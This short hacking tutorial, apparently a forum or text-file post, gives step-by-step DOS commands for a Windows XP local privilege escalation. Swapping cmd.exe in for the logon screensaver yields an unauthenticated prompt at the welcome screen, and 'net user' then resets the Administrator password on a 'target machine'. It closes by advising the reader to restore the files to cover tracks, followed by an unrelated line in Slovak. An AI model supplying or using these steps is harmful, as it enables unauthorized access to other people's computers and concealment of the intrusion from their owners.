If you log into a limited account on your target machine and open up a dos prompt then enter this
set of commands Exactly:
(this appeared on
www.astalavista.com a few days ago but i found that it wouldn't work on the
welcome screen of a normal booted machine)
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cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
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Now what you have just done is told the computer to backup the command program and the screen
saver file, then edits the settings so when the machine boots the screen saver you will get an
unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user <admin account name here> password"
If the Administrator Account is called Frank and you want the password blah enter this "net user
Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
. No chcel by som vedieť ako otvoriť cmd čiže príkazový riadok v logon screen , prihlasovacej oblasti . 
